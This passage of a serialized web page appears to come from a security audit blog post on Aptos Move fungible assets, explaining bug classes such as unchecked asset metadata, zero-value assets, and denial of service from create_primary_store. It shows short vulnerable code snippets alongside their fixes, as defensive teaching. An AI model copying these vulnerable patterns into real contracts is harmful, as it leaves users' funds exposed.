check_compliance",{"type":21,"tag":153,"props":64168,"children":64169},{"style":160},[64170],{"type":26,"value":189},{"type":21,"tag":153,"props":64172,"children":64173},{"style":192},[64174],{"type":26,"value":64175},"fa_amount",{"type":21,"tag":153,"props":64177,"children":64178},{"style":160},[64179],{"type":26,"value":1670},{"type":21,"tag":153,"props":64181,"children":64182},{"style":192},[64183],{"type":26,"value":64184},"sender_address",{"type":21,"tag":153,"props":64186,"children":64187},{"style":160},[64188],{"type":26,"value":530},{"type":21,"tag":153,"props":64190,"children":64191},{"class":155,"line":762},[64192],{"type":21,"tag":153,"props":64193,"children":64194},{"style":160},[64195],{"type":26,"value":64079},{"type":21,"tag":153,"props":64197,"children":64198},{"class":155,"line":776},[64199,64204,64208,64213,64217,64221,64225,64229],{"type":21,"tag":153,"props":64200,"children":64201},{"style":181},[64202],{"type":26,"value":64203},"    increase_deposit",{"type":21,"tag":153,"props":64205,"children":64206},{"style":160},[64207],{"type":26,"value":189},{"type":21,"tag":153,"props":64209,"children":64210},{"style":181},[64211],{"type":26,"value":64212},"get_vault",{"type":21,"tag":153,"props":64214,"children":64215},{"style":160},[64216],{"type":26,"value":189},{"type":21,"tag":153,"props":64218,"children":64219},{"style":192},[64220],{"type":26,"value":64184},{"type":21,"tag":153,"props":64222,"children":64223},{"style":160},[64224],{"type":26,"value":17877},{"type":21,"tag":153,"props":64226,"children":64227},{"style":192},[64228],{"type":26,"value":64175},{"type":21,"tag":153,"props":64230,"children":64231},{"style":160},[64232],{"type":26,"value":530},{"type":21,"tag":153,"props":64234,"children":64235},{"class":155,"line":795},[64236],{"type":21,"tag":153,"props":64237,"children":64238},{"style":160},[64239],{"type":26,"value":64079},{"type":21,"tag":153,"props":64241,"children":64242},{"class":155,"line":808},[64243,64248,64252,64257,64261,64266,64270,64274],{"type":21,"tag":153,"props":64244,"children":64245},{"style":160},[64246],{"type":26,"value":64247},"    primary_fungible_store",{"type":21,"tag":153,"props":64249,"children":64250},{"style":198},[64251],{"type":26,"value":265},{"type":21,"tag":153,"props":64253,"children":64254},{"style":181},[64255],{"type":26,"value":64256},"deposit",{"type":21,"tag":153,"props":64258,"children":64259},{"style":160},[64260],{"type":26,"value":189},{"type":21,"tag":153,"props":64262,"children":64263},{"style":181},[64264],{"type":26,"value":64265},"global_vault_address",{"type":21,"tag":153,"props":64267,"children":64268},{"style":160},[64269],{"type":26,"value":21072},{"type":21,"tag":153,"props":64271,"children":64272},{"style":192},[64273],{"type":26,"value":64026},{"type":21,"tag":153,"props":64275,"children":64276},{"style":160},[64277],{"type":26,"value":530},{"type":21,"tag":153,"props":64279,"children":64280},{"class":155,"line":820},[64281],{"type":21,"tag":153,"props":64282,"children":64283},{"style":160},[64284],{"type":26,"value":64079},{"type":21,"tag":153,"props":64286,"children":64287},{"class":155,"line":842},[64288,64293,64297,64302,64306,64311,64315,64319,64323,64327],{"type":21,"tag":153,"props":64289,"children":64290},{"style":160},[64291],{"type":26,"value":64292},"    event",{"type":21,"tag":153,"props":64294,"children":64295},{"style":198},[64296],{"type":26,"value":265},{"type":21,"tag":153,"props":64298,"children":64299},{"style":181},[64300],{"type":26,"value":64301},"emit",{"type":21,"tag":153,"props":64303,"children":64304},{"style":160},[64305],{"type":26,"value":189},{"type":21,"tag":153,"props":64307,"children":64308},{"style":214},[64309],{"type":26,"value":64310},"Deposit",{"type":21,"tag":153,"props":64312,"children":64313},{"style":160},[64314],{"type":26,"value":4955},{"type":21,"tag":153,"props":64316,"children":64317},{"style":192},[64318],{"type":26,"value":64184},{"type":21,"tag":153,"props":64320,"children":64321},{"style":160},[64322],{"type":26,"value":1670},{"type":21,"tag":153,"props":64324,"children":64325},{"style":192},[64326],{"type":26,"value":64175},{"type":21,"tag":153,"props":64328,"children":64329},{"style":160},[64330],{"type":26,"value":35715},{"type":21,"tag":153,"props":64332,"children":64333},{"class":155,"line":3204},[64334],{"type":21,"tag":153,"props":64335,"children":64336},{"style":160},[64337],{"type":26,"value":548},{"type":21,"tag":22,"props":64339,"children":64340},{},[64341],{"type":26,"value":64342},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":21,"tag":22,"props":64344,"children":64345},{},[64346],{"type":26,"value":64347},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":21,"tag":66,"props":64349,"children":64351},{"id":64350},"fungible-stores",[64352],{"type":26,"value":64353},"Fungible stores",{"type":21,"tag":22,"props":64355,"children":64356},{},[64357],{"type":26,"value":64358},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":21,"tag":22,"props":64360,"children":64361},{},[64362,64364,64370],{"type":26,"value":64363},"Meet the ",{"type":21,"tag":78,"props":64365,"children":64367},{"className":64366},[],[64368],{"type":26,"value":64369},"FungibleStore",{"type":26,"value":355},{"type":21,"tag":143,"props":64372,"children":64374},{"className":145,"code":64373,"language":147,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[64375],{"type":21,"tag":78,"props":64376,"children":64377},{"__ignoreMap":7},[64378,64402,64429,64449,64468],{"type":21,"tag":153,"props":64379,"children":64380},{"class":155,"line":156},[64381,64385,64390,64394,64398],{"type":21,"tag":153,"props":64382,"children":64383},{"style":170},[64384],{"type":26,"value":12123},{"type":21,"tag":153,"props":64386,"children":64387},{"style":214},[64388],{"type":26,"value":64389}," FungibleStore",{"type":21,"tag":153,"props":64391,"children":64392},{"style":192},[64393],{"type":26,"value":12132},{"type":21,"tag":153,"props":64395,"children":64396},{"style":192},[64397],{"type":26,"value":8661},{"type":21,"tag":153,"props":64399,"children":64400},{"style":160},[64401],{"type":26,"value":236},{"type":21,"tag":153,"props":64403,"children":64404},{"class":155,"line":166},[64405,64409,64413,64417,64421,64425],{"type":21,"tag":153,"props":64406,"children":64407},{"style":192},[64408],{"type":26,"value":63845},{"type":21,"tag":153,"props":64410,"children":64411},{"style":198},[64412],{"type":26,"value":201},{"type":21,"tag":153,"props":64414,"children":64415},{"style":214},[64416],{"type":26,"value":63854},{"type":21,"tag":153,"props":64418,"children":64419},{"style":160},[64420],{"type":26,"value":8537},{"type":21,"tag":153,"props":64422,"children":64423},{"style":214},[64424],{"type":26,"value":63863},{"type":21,"tag":153,"props":64426,"children":64427},{"style":160},[64428],{"type":26,"value":8867},{"type":21,"tag":153,"props":64430,"children":64431},{"class":155,"line":225},[64432,64437,64441,64445],{"type":21,"tag":153,"props":64433,"children":64434},{"style":192},[64435],{"type":26,"value":64436},"    balance",{"type":21,"tag":153,"props":64438,"children":64439},{"style":198},[64440],{"type":26,"value":201},{"type":21,"tag":153,"props":64442,"children":64443},{"style":214},[64444],{"type":26,"value":323},{"type":21,"tag":153,"props":64446,"children":64447},{"style":160},[64448],{"type":26,"value":792},{"type":21,"tag":153,"props":64450,"children":64451},{"class":155,"line":239},[64452,64456,64460,64464],{"type":21,"tag":153,"props":64453,"children":64454},{"style":192},[64455],{"type":26,"value":63506},{"type":21,"tag":153,"props":64457,"children":64458},{"style":198},[64459],{"type":26,"value":201},{"type":21,"tag":153,"props":64461,"children":64462},{"style":214},[64463],{"type":26,"value":14769},{"type":21,"tag":153,"props":64465,"children":64466},{"style":160},[64467],{"type":26,"value":792},{"type":21,"tag":153,"props":64469,"children":64470},{"class":155,"line":382},[64471],{"type":21,"tag":153,"props":64472,"children":64473},{"style":160},[64474],{"type":26,"value":548},{"type":21,"tag":22,"props":64476,"children":64477},{},[64478,64483,64485,64490,64492,64497,64499,64504,64506,64511],{"type":21,"tag":78,"props":64479,"children":64481},{"className":64480},[],[64482],{"type":26,"value":64369},{"type":26,"value":64484}," manages balances and metadata instead of holding the actual ",{"type":21,"tag":78,"props":64486,"children":64488},{"className":64487},[],[64489],{"type":26,"value":63804},{"type":26,"value":64491}," (it can't because ",{"type":21,"tag":78,"props":64493,"children":64495},{"className":64494},[],[64496],{"type":26,"value":63804},{"type":26,"value":64498}," doesn't have ",{"type":21,"tag":78,"props":64500,"children":64502},{"className":64501},[],[64503],{"type":26,"value":8670},{"type":26,"value":64505},"). Withdrawals create temporary ",{"type":21,"tag":78,"props":64507,"children":64509},{"className":64508},[],[64510],{"type":26,"value":63804},{"type":26,"value":64512}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":21,"tag":21491,"props":64514,"children":64515},{},[],{"type":21,"tag":22,"props":64517,"children":64518},{},[64519,64521,64526,64528,64533],{"type":26,"value":64520},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":21,"tag":78,"props":64522,"children":64524},{"className":64523},[],[64525],{"type":26,"value":63804},{"type":26,"value":64527}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":21,"tag":78,"props":64529,"children":64531},{"className":64530},[],[64532],{"type":26,"value":63804},{"type":26,"value":355},{"type":21,"tag":143,"props":64535,"children":64537},{"className":145,"code":64536,"language":147,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[64538],{"type":21,"tag":78,"props":64539,"children":64540},{"__ignoreMap":7},[64541,64578,64630,64673,64680,64687,64759,64771,64809,64828,64835],{"type":21,"tag":153,"props":64542,"children":64543},{"class":155,"line":156},[64544,64548,64552,64557,64561,64566,64570,64574],{"type":21,"tag":153,"props":64545,"children":64546},{"style":192},[64547],{"type":26,"value":63968},{"type":21,"tag":153,"props":64549,"children":64550},{"style":192},[64551],{"type":26,"value":8936},{"type":21,"tag":153,"props":64553,"children":64554},{"style":181},[64555],{"type":26,"value":64556}," destroy_zero",{"type":21,"tag":153,"props":64558,"children":64559},{"style":160},[64560],{"type":26,"value":189},{"type":21,"tag":153,"props":64562,"children":64563},{"style":192},[64564],{"type":26,"value":64565},"fungible_asset",{"type":21,"tag":153,"props":64567,"children":64568},{"style":198},[64569],{"type":26,"value":201},{"type":21,"tag":153,"props":64571,"children":64572},{"style":214},[64573],{"type":26,"value":63833},{"type":21,"tag":153,"props":64575,"children":64576},{"style":160},[64577],{"type":26,"value":2659},{"type":21,"tag":153,"props":64579,"children":64580},{"class":155,"line":166},[64581,64585,64589,64593,64597,64601,64606,64610,64614,64618,64622,64626],{"type":21,"tag":153,"props":64582,"children":64583},{"style":170},[64584],{"type":26,"value":629},{"type":21,"tag":153,"props":64586,"children":64587},{"style":214},[64588],{"type":26,"value":63833},{"type":21,"tag":153,"props":64590,"children":64591},{"style":160},[64592],{"type":26,"value":12308},{"type":21,"tag":153,"props":64594,"children":64595},{"style":192},[64596],{"type":26,"value":23000},{"type":21,"tag":153,"props":64598,"children":64599},{"style":160},[64600],{"type":26,"value":1670},{"type":21,"tag":153,"props":64602,"children":64603},{"style":192},[64604],{"type":26,"value":64605},"metadata",{"type":21,"tag":153,"props":64607,"children":64608},{"style":198},[64609],{"type":26,"value":201},{"type":21,"tag":153,"props":64611,"children":64612},{"style":192},[64613],{"type":26,"value":5789},{"type":21,"tag":153,"props":64615,"children":64616},{"style":160},[64617],{"type":26,"value":38895},{"type":21,"tag":153,"props":64619,"children":64620},{"style":198},[64621],{"type":26,"value":2367},{"type":21,"tag":153,"props":64623,"children":64624},{"style":192},[64625],{"type":26,"value":64100},{"type":21,"tag":153,"props":64627,"children":64628},{"style":160},[64629],{"type":26,"value":1759},{"type":21,"tag":153,"props":64631,"children":64632},{"class":155,"line":225},[64633,64638,64642,64646,64650,64654,64659,64663,64668],{"type":21,"tag":153,"props":64634,"children":64635},{"style":181},[64636],{"type":26,"value":64637},"    assert!",{"type":21,"tag":153,"props":64639,"children":64640},{"style":160},[64641],{"type":26,"value":189},{"type":21,"tag":153,"props":64643,"children":64644},{"style":192},[64645],{"type":26,"value":23000},{"type":21,"tag":153,"props":64647,"children":64648},{"style":198},[64649],{"type":26,"value":6031},{"type":21,"tag":153,"props":64651,"children":64652},{"style":300},[64653],{"type":26,"value":5799},{"type":21,"tag":153,"props":64655,"children":64656},{"style":160},[64657],{"type":26,"value":64658},", error",{"type":21,"tag":153,"props":64660,"children":64661},{"style":198},[64662],{"type":26,"value":265},{"type":21,"tag":153,"props":64664,"children":64665},{"style":181},[64666],{"type":26,"value":64667},"invalid_argument",{"type":21,"tag":153,"props":64669,"children":64670},{"style":160},[64671],{"type":26,"value":64672},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":21,"tag":153,"props":64674,"children":64675},{"class":155,"line":239},[64676],{"type":21,"tag":153,"props":64677,"children":64678},{"style":160},[64679],{"type":26,"value":548},{"type":21,"tag":153,"props":64681,"children":64682},{"class":155,"line":382},[64683],{"type":21,"tag":153,"props":64684,"children":64685},{"emptyLinePlaceholder":16},[64686],{"type":26,"value":759},{"type":21,"tag":153,"props":64688,"children":64689},{"class":155,"line":501},[64690,64694,64698,64703,64707,64711,64715,64719,64723,64727,64731,64735,64739,64743,64747,64751,64755],{"type":21,"tag":153,"props":64691,"children":64692},{"style":192},[64693],{"type":26,"value":63968},{"type":21,"tag":153,"props":64695,"children":64696},{"style":192},[64697],{"type":26,"value":8936},{"type":21,"tag":153,"props":64699,"children":64700},{"style":192},[64701],{"type":26,"value":64702}," zero",{"type":21,"tag":153,"props":64704,"children":64705},{"style":160},[64706],{"type":26,"value":8537},{"type":21,"tag":153,"props":64708,"children":64709},{"style":214},[64710],{"type":26,"value":8717},{"type":21,"tag":153,"props":64712,"children":64713},{"style":198},[64714],{"type":26,"value":201},{"type":21,"tag":153,"props":64716,"children":64717},{"style":192},[64718],{"type":26,"value":8661},{"type":21,"tag":153,"props":64720,"children":64721},{"style":160},[64722],{"type":26,"value":328},{"type":21,"tag":153,"props":64724,"children":64725},{"style":192},[64726],{"type":26,"value":64605},{"type":21,"tag":153,"props":64728,"children":64729},{"style":198},[64730],{"type":26,"value":201},{"type":21,"tag":153,"props":64732,"children":64733},{"style":214},[64734],{"type":26,"value":63854},{"type":21,"tag":153,"props":64736,"children":64737},{"style":160},[64738],{"type":26,"value":8537},{"type":21,"tag":153,"props":64740,"children":64741},{"style":214},[64742],{"type":26,"value":8717},{"type":21,"tag":153,"props":64744,"children":64745},{"style":160},[64746],{"type":26,"value":11115},{"type":21,"tag":153,"props":64748,"children":64749},{"style":198},[64750],{"type":26,"value":201},{"type":21,"tag":153,"props":64752,"children":64753},{"style":214},[64754],{"type":26,"value":63833},{"type":21,"tag":153,"props":64756,"children":64757},{"style":160},[64758],{"type":26,"value":236},{"type":21,"tag":153,"props":64760,"children":64761},{"class":155,"line":533},[64762,64767],{"type":21,"tag":153,"props":64763,"children":64764},{"style":214},[64765],{"type":26,"value":64766},"    FungibleAsset",{"type":21,"tag":153,"props":64768,"children":64769},{"style":160},[64770],{"type":26,"value":236},{"type":21,"tag":153,"props":64772,"children":64773},{"class":155,"line":542},[64774,64779,64783,64788,64792,64797,64801,64805],{"type":21,"tag":153,"props":64775,"children":64776},{"style":192},[64777],{"type":26,"value":64778},"        metadata",{"type":21,"tag":153,"props":64780,"children":64781},{"style":198},[64782],{"type":26,"value":201},{"type":21,"tag":153,"props":64784,"children":64785},{"style":160},[64786],{"type":26,"value":64787}," object",{"type":21,"tag":153,"props":64789,"children":64790},{"style":198},[64791],{"type":26,"value":265},{"type":21,"tag":153,"props":64793,"children":64794},{"style":181},[64795],{"type":26,"value":64796},"convert",{"type":21,"tag":153,"props":64798,"children":64799},{"style":160},[64800],{"type":26,"value":189},{"type":21,"tag":153,"props":64802,"children":64803},{"style":192},[64804],{"type":26,"value":64605},{"type":21,"tag":153,"props":64806,"children":64807},{"style":160},[64808],{"type":26,"value":679},{"type":21,"tag":153,"props":64810,"children":64811},{"class":155,"line":762},[64812,64816,64820,64824],{"type":21,"tag":153,"props":64813,"children":64814},{"style":192},[64815],{"type":26,"value":10177},{"type":21,"tag":153,"props":64817,"children":64818},{"style":198},[64819],{"type":26,"value":201},{"type":21,"tag":153,"props":64821,"children":64822},{"style":300},[64823],{"type":26,"value":5799},{"type":21,"tag":153,"props":64825,"children":64826},{"style":160},[64827],{"type":26,"value":792},{"type":21,"tag":153,"props":64829,"children":64830},{"class":155,"line":776},[64831],{"type":21,"tag":153,"props":64832,"children":64833},{"style":160},[64834],{"type":26,"value":539},{"type":21,"tag":153,"props":64836,"children":64837},{"class":155,"line":795},[64838],{"type":21,"tag":153,"props":64839,"children":64840},{"style":160},[64841],{"type":26,"value":548},{"type":21,"tag":22,"props":64843,"children":64844},{},[64845],{"type":26,"value":64846},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":21,"tag":22,"props":64848,"children":64849},{},[64850,64852,64857],{"type":26,"value":64851},"In practice, the ability to freely mint and burn zero ",{"type":21,"tag":78,"props":64853,"children":64855},{"className":64854},[],[64856],{"type":26,"value":63946},{"type":26,"value":64858}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":21,"tag":114,"props":64860,"children":64862},{"id":64861},"primary-and-secondary-stores",[64863],{"type":26,"value":64864},"Primary and secondary stores",{"type":21,"tag":22,"props":64866,"children":64867},{},[64868,64874,64876,64882,64884,64889],{"type":21,"tag":78,"props":64869,"children":64871},{"className":64870},[],[64872],{"type":26,"value":64873},"FungibleStores",{"type":26,"value":64875}," in comparison to ",{"type":21,"tag":78,"props":64877,"children":64879},{"className":64878},[],[64880],{"type":26,"value":64881},"CoinStores",{"type":26,"value":64883}," are not unique. Each user can have multiple ",{"type":21,"tag":78,"props":64885,"children":64887},{"className":64886},[],[64888],{"type":26,"value":64369},{"type":26,"value":64890}," objects for a given token!",{"type":21,"tag":22,"props":64892,"children":64893},{},[64894,64896,64903,64905,64910],{"type":26,"value":64895},"A primary fungible store is maintained via the aptly named ",{"type":21,"tag":29,"props":64897,"children":64900},{"href":64898,"rel":64899},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[33],[64901],{"type":26,"value":64902},"primary_fungible_store",{"type":26,"value":64904}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":21,"tag":78,"props":64906,"children":64908},{"className":64907},[],[64909],{"type":26,"value":63863},{"type":26,"value":64911}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":21,"tag":22,"props":64913,"children":64914},{},[64915],{"type":26,"value":64916},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":21,"tag":143,"props":64918,"children":64920},{"className":145,"code":64919,"language":147,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[64921],{"type":21,"tag":78,"props":64922,"children":64923},{"__ignoreMap":7},[64924,64949,64981,65004,65020,65074,65089],{"type":21,"tag":153,"props":64925,"children":64926},{"class":155,"line":156},[64927,64931,64936,64940,64945],{"type":21,"tag":153,"props":64928,"children":64929},{"style":192},[64930],{"type":26,"value":63968},{"type":21,"tag":153,"props":64932,"children":64933},{"style":192},[64934],{"type":26,"value":64935}," entry",{"type":21,"tag":153,"props":64937,"children":64938},{"style":192},[64939],{"type":26,"value":8936},{"type":21,"tag":153,"props":64941,"children":64942},{"style":181},[64943],{"type":26,"value":64944}," register",{"type":21,"tag":153,"props":64946,"children":64947},{"style":160},[64948],{"type":26,"value":773},{"type":21,"tag":153,"props":64950,"children":64951},{"class":155,"line":166},[64952,64957,64961,64965,64969,64973,64977],{"type":21,"tag":153,"props":64953,"children":64954},{"style":192},[64955],{"type":26,"value":64956},"    user",{"type":21,"tag":153,"props":64958,"children":64959},{"style":198},[64960],{"type":26,"value":201},{"type":21,"tag":153,"props":64962,"children":64963},{"style":198},[64964],{"type":26,"value":206},{"type":21,"tag":153,"props":64966,"children":64967},{"style":192},[64968],{"type":26,"value":9874},{"type":21,"tag":153,"props":64970,"children":64971},{"style":160},[64972],{"type":26,"value":3863},{"type":21,"tag":153,"props":64974,"children":64975},{"style":198},[64976],{"type":26,"value":12313},{"type":21,"tag":153,"props":64978,"children":64979},{"style":160},[64980],{"type":26,"value":2941},{"type":21,"tag":153,"props":64982,"children":64983},{"class":155,"line":225},[64984,64988,64992,64996,65000],{"type":21,"tag":153,"props":64985,"children":64986},{"style":160},[64987],{"type":26,"value":2362},{"type":21,"tag":153,"props":64989,"children":64990},{"style":192},[64991],{"type":26,"value":9073},{"type":21,"tag":153,"props":64993,"children":64994},{"style":160},[64995],{"type":26,"value":4236},{"type":21,"tag":153,"props":64997,"children":64998},{"style":198},[64999],{"type":26,"value":12313},{"type":21,"tag":153,"props":65001,"children":65002},{"style":160},[65003],{"type":26,"value":64059},{"type":21,"tag":153,"props":65005,"children":65006},{"class":155,"line":239},[65007,65012,65016],{"type":21,"tag":153,"props":65008,"children":65009},{"style":160},[65010],{"type":26,"value":65011},"    [",{"type":21,"tag":153,"props":65013,"children":65014},{"style":198},[65015],{"type":26,"value":12313},{"type":21,"tag":153,"props":65017,"children":65018},{"style":160},[65019],{"type":26,"value":2941},{"type":21,"tag":153,"props":65021,"children":65022},{"class":155,"line":382},[65023,65027,65032,65036,65041,65045,65049,65053,65057,65061,65065,65070],{"type":21,"tag":153,"props":65024,"children":65025},{"style":170},[65026],{"type":26,"value":629},{"type":21,"tag":153,"props":65028,"children":65029},{"style":192},[65030],{"type":26,"value":65031}," wallet_store",{"type":21,"tag":153,"props":65033,"children":65034},{"style":198},[65035],{"type":26,"value":255},{"type":21,"tag":153,"props":65037,"children":65038},{"style":181},[65039],{"type":26,"value":65040}," create_primary_store",{"type":21,"tag":153,"props":65042,"children":65043},{"style":160},[65044],{"type":26,"value":9928},{"type":21,"tag":153,"props":65046,"children":65047},{"style":198},[65048],{"type":26,"value":265},{"type":21,"tag":153,"props":65050,"children":65051},{"style":181},[65052],{"type":26,"value":9937},{"type":21,"tag":153,"props":65054,"children":65055},{"style":160},[65056],{"type":26,"value":189},{"type":21,"tag":153,"props":65058,"children":65059},{"style":192},[65060],{"type":26,"value":64154},{"type":21,"tag":153,"props":65062,"children":65063},{"style":160},[65064],{"type":26,"value":17877},{"type":21,"tag":153,"props":65066,"children":65067},{"style":181},[65068],{"type":26,"value":65069},"get_metadata",{"type":21,"tag":153,"props":65071,"children":65072},{"style":160},[65073],{"type":26,"value":379},{"type":21,"tag":153,"props":65075,"children":65076},{"class":155,"line":501},[65077,65081,65085],{"type":21,"tag":153,"props":65078,"children":65079},{"style":160},[65080],{"type":26,"value":65011},{"type":21,"tag":153,"props":65082,"children":65083},{"style":198},[65084],{"type":26,"value":12313},{"type":21,"tag":153,"props":65086,"children":65087},{"style":160},[65088],{"type":26,"value":2941},{"type":21,"tag":153,"props":65090,"children":65091},{"class":155,"line":533},[65092],{"type":21,"tag":153,"props":65093,"children":65094},{"style":160},[65095],{"type":26,"value":548},{"type":21,"tag":22,"props":65097,"children":65098},{},[65099,65100,65106,65108,65114],{"type":26,"value":19311},{"type":21,"tag":78,"props":65101,"children":65103},{"className":65102},[],[65104],{"type":26,"value":65105},"create_primary_store",{"type":26,"value":65107}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":21,"tag":78,"props":65109,"children":65111},{"className":65110},[],[65112],{"type":26,"value":65113},"ensure_primary_store_exists",{"type":26,"value":65115}," is recommended to avoid such issues.",{"type":21,"tag":66,"props":65117,"children":65119},{"id":65118},"fungible-assets-and-objects",[65120],{"type":26,"value":65121},"Fungible assets and objects",{"type":21,"tag":22,"props":65123,"children":65124},{},[65125,65127,65132,65134,65141],{"type":26,"value":65126},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":21,"tag":78,"props":65128,"children":65130},{"className":65129},[],[65131],{"type":26,"value":51141},{"type":26,"value":65133}," module, introduced in ",{"type":21,"tag":29,"props":65135,"children":65138},{"href":65136,"rel":65137},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[33],[65139],{"type":26,"value":65140},"AIP-10",{"type":26,"value":355},{"type":21,"tag":5689,"props":65143,"children":65144},{},[65145],{"type":21,"tag":22,"props":65146,"children":65147},{},[65148,65152],{"type":21,"tag":153,"props":65149,"children":65150},{},[65151],{"type":26,"value":63743},{"type":26,"value":65153}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":21,"tag":22,"props":65155,"children":65156},{},[65157],{"type":26,"value":65158},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":21,"tag":114,"props":65160,"children":65162},{"id":65161},"creation-and-deletion",[65163],{"type":26,"value":65164},"Creation and deletion",{"type":21,"tag":22,"props":65166,"children":65167},{},[65168,65170,65176],{"type":26,"value":65169},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":21,"tag":78,"props":65171,"children":65173},{"className":65172},[],[65174],{"type":26,"value":65175},"fungible_asset::add_fungibility",{"type":26,"value":201},{"type":21,"tag":143,"props":65178,"children":65180},{"className":145,"code":65179,"language":147,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[65181],{"type":21,"tag":78,"props":65182,"children":65183},{"__ignoreMap":7},[65184],{"type":21,"tag":153,"props":65185,"children":65186},{"class":155,"line":156},[65187,65191,65195,65199,65204,65208,65213,65217,65222,65227,65231,65235],{"type":21,"tag":153,"props":65188,"children":65189},{"style":181},[65190],{"type":26,"value":1638},{"type":21,"tag":153,"props":65192,"children":65193},{"style":160},[65194],{"type":26,"value":189},{"type":21,"tag":153,"props":65196,"children":65197},{"style":198},[65198],{"type":26,"value":23315},{"type":21,"tag":153,"props":65200,"children":65201},{"style":160},[65202],{"type":26,"value":65203},"object",{"type":21,"tag":153,"props":65205,"children":65206},{"style":198},[65207],{"type":26,"value":265},{"type":21,"tag":153,"props":65209,"children":65210},{"style":181},[65211],{"type":26,"value":65212},"can_generate_delete_ref",{"type":21,"tag":153,"props":65214,"children":65215},{"style":160},[65216],{"type":26,"value":189},{"type":21,"tag":153,"props":65218,"children":65219},{"style":192},[65220],{"type":26,"value":65221},"constructor_ref",{"type":21,"tag":153,"props":65223,"children":65224},{"style":160},[65225],{"type":26,"value":65226},"), error",{"type":21,"tag":153,"props":65228,"children":65229},{"style":198},[65230],{"type":26,"value":265},{"type":21,"tag":153,"props":65232,"children":65233},{"style":181},[65234],{"type":26,"value":64667},{"type":21,"tag":153,"props":65236,"children":65237},{"style":160},[65238],{"type":26,"value":65239},"(EOBJECT_IS_DELETABLE));\n",{"type":21,"tag":22,"props":65241,"children":65242},{},[65243,65245,65250,65252,65257,65258,65265],{"type":26,"value":65244},"This object serves as the foundation for ownership tokens in the form of a ",{"type":21,"tag":78,"props":65246,"children":65248},{"className":65247},[],[65249],{"type":26,"value":63804},{"type":26,"value":65251},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":21,"tag":78,"props":65253,"children":65255},{"className":65254},[],[65256],{"type":26,"value":65175},{"type":26,"value":9187},{"type":21,"tag":29,"props":65259,"children":65262},{"href":65260,"rel":65261},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[33],[65263],{"type":26,"value":65264},"lacked this assert",{"type":26,"value":65266},", which we discovered and reported.",{"type":21,"tag":22,"props":65268,"children":65269},{},[65270,65275,65277,65282,65284,65289],{"type":21,"tag":78,"props":65271,"children":65273},{"className":65272},[],[65274],{"type":26,"value":65175},{"type":26,"value":65276}," transfers the ",{"type":21,"tag":78,"props":65278,"children":65280},{"className":65279},[],[65281],{"type":26,"value":63863},{"type":26,"value":65283}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":21,"tag":78,"props":65285,"children":65287},{"className":65286},[],[65288],{"type":26,"value":63804},{"type":26,"value":65290}," can be minted, representing a share of ownership in that object.",{"type":21,"tag":143,"props":65292,"children":65294},{"className":145,"code":65293,"language":147,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[65295],{"type":21,"tag":78,"props":65296,"children":65297},{"__ignoreMap":7},[65298,65306,65326,65341,65368,65383,65404,65416,65428,65440,65452,65464,65476,65483,65490,65505],{"type":21,"tag":153,"props":65299,"children":65300},{"class":155,"line":156},[65301],{"type":21,"tag":153,"props":65302,"children":65303},{"style":3050},[65304],{"type":26,"value":65305},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":21,"tag":153,"props":65307,"children":65308},{"class":155,"line":166},[65309,65313,65317,65322],{"type":21,"tag":153,"props":65310,"children":65311},{"style":192},[65312],{"type":26,"value":63968},{"type":21,"tag":153,"props":65314,"children":65315},{"style":192},[65316],{"type":26,"value":8936},{"type":21,"tag":153,"props":65318,"children":65319},{"style":181},[65320],{"type":26,"value":65321}," 